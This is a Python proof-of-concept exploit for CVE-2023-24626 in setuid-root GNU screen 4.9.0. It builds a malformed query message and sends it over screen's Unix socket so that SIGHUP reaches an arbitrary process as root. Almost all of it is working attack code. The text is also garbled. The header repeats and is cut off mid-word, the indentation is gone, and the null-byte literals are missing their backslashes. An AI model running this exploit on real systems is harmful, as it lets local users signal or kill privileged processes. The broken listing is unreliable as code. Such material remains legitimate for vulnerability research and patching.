GNU screen 4.9.0 Privilege Escalation

# Exploit Title: GNU screen v4.9.0 - Privilege Escalation
# Date: 03.02.2023
# Exploit Author: Manuel Andreas
# Vendor Homepage: https://www.gnu.org/software/screen/
# Software Lin # Exploit Title: GNU screen v4.9.0 - Privilege Escalation
# Date: 03.02.2023
# Exploit Author: Manuel Andreas
# Vendor Homepage: https://www.gnu.org/software/screen/
# Software Link: https://ftp.gnu.org/gnu/screen/screen-4.9.0.tar.gz
# Version: 4.9.0
# Tested on: Arch Linux
# CVE : CVE-2023-24626

import os
import socket
import struct
import argparse
import subprocess
import pty
import time

SOCKDIR_TEMPLATE = "/run/screens/S-{}"
MAXPATHLEN = 4096
MAXTERMLEN = 32
MAXLOGINLEN = 256
STRUCTSIZE = 12584
MSG_QUERY = 9

def find_latest_socket(dir):
return f"{dir}/{sorted(os.listdir(dir))[-1]}"


def build_magic(ver=5):
return ord('m') << 24 | ord('s') << 16 | ord('g') << 8 | ver


def build_msg(type):
return struct.pack("<ii", build_magic(), type) + MAXPATHLEN * b"T"


def build_query(auser, nargs, cmd, apid, preselect, writeback):
assert(len(auser) == MAXLOGINLEN + 1)
assert(len(cmd) == MAXPATHLEN)
assert(len(preselect) == 20)
assert(len(writeback) == MAXPATHLEN)

buf = build_msg(MSG_QUERY)

buf += auser
buf += 3 * b"x00" #Padding
buf += struct.pack("<i", nargs)
buf += cmd
buf += struct.pack("<i", apid)
buf += preselect
buf += writeback

# Union padding
buf += (STRUCTSIZE - len(buf)) * b"P"

return buf


def spawn_screen_instance():
# provide a pty
mo, so = pty.openpty()
me, se = pty.openpty()
mi, si = pty.openpty()

screen = subprocess.Popen("/usr/bin/screen", bufsize=0, stdin=si, stdout=so, stderr=se, close_fds=True, env={"TERM":"xterm"})

for fd in [so, se, si]:
os.close(fd)

return screen


def main():
parser = argparse.ArgumentParser(description='PoC for sending SIGHUP as root utilizing GNU screen configured as setuid root.')
parser.add_argument('pid', type=int, help='the pid to receive the signal')

args = parser.parse_args()

pid = args.pid
username = os.getlogin()

screen = spawn_screen_instance()

print("Waiting a second for screen to setup its socket..")
time.sleep(1)

s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
socket_path = find_latest_socket(SOCKDIR_TEMPLATE.format(username))

print(f"Connecting to: {socket_path}")
s.connect(socket_path)

print('Sending message...')
msg = build_query(username.encode('ascii') + (MAXLOGINLEN + 1 - len(username)) * b"x00", 0, MAXPATHLEN * b"E", pid, 20 * b"x00", MAXPATHLEN * b"D")
s.sendmsg([msg])

s.recv(512)

print(f'Ok sent SIGHUP to {pid}!')

screen.kill()


if __name__ == '__main__':
main()